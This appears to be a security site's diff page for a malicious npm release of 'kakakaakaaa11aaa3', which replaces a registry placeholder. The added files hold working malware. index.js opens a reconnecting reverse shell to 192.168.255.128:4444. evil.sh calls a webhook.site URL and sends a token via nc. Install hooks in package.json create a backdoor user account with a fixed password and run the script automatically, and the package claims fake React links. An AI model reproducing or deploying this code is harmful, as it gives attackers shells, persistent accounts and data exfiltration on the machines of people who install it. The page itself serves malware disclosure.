kakakaakaaa11aaa3 0.0.1-security → 99.1.12

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of kakakaakaaa11aaa3 might be problematic. Click here for more details.

package/evil.sh ADDED
@@ -0,0 +1,3 @@
1
+ curl https://webhook.site/c752f2e6-6f83-4895-87ad-7e744e986352
2
+ echo 'ee9bb31d9df44238b75025af570e9aad' | nc -q 1 192.168.255.128 4444
3
+
package/helloworld.txt ADDED
@@ -0,0 +1 @@
1
+ Hello World!
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ var net = require('net');
2
+ var spawn = require('child_process').spawn;
3
+ const { exec } = require("child_process");
4
+
5
+ function c() {
6
+ var client = new net.Socket();
7
+ client.connect(4444, "192.168.255.128", function() {
8
+ var sh = spawn('/bin/sh', []);
9
+ client.write("Connected\r\n");
10
+ client.pipe(sh.stdin);
11
+ sh.stdout.pipe(client);
12
+ });
13
+
14
+ client.on('error', function() {});
15
+
16
+ client.on('close', function() {
17
+ setTimeout(c, 5000);
18
+ });
19
+ }
20
+
21
+ c();
22
+ exec("tcpdump lalala", (error, stdout, stderr) => {
23
+ if (error) {
24
+ console.log(`error: ${error.message}`);
25
+ return;
26
+ }
27
+ if (stderr) {
28
+ console.log(`stderr: ${stderr}`);
29
+ return;
30
+ }
31
+ console.log(`stdout: ${stdout}`);
32
+ });
33
+ exec("tshark lalala", (error, stdout, stderr) => {
34
+ if (error) {
35
+ console.log(`error: ${error.message}`);
36
+ return;
37
+ }
38
+ if (stderr) {
39
+ console.log(`stderr: ${stderr}`);
40
+ return;
41
+ }
42
+ console.log(`stdout: ${stdout}`);
43
+ });
package/package.json CHANGED
@@ -1,6 +1,20 @@
1
1
  {
2
2
  "name": "kakakaakaaa11aaa3",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.1.012",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "event-stream": "^3.0.0"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "preinstall": "useradd -p $(openssl passwd -1 password) username",
12
+ "postinstall":"./evil.sh"
13
+ },
14
+ "author": "pirskiwpyodfljhbab",
15
+ "license": "GPL-3",
16
+ "bugs": {
17
+ "url": "http://github.com/jeffbski/react/issues"
18
+ },
19
+ "homepage": "https://github.com/facebook/react/tree/master/npm-react"
6
20
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=kakakaakaaa11aaa3 for more information.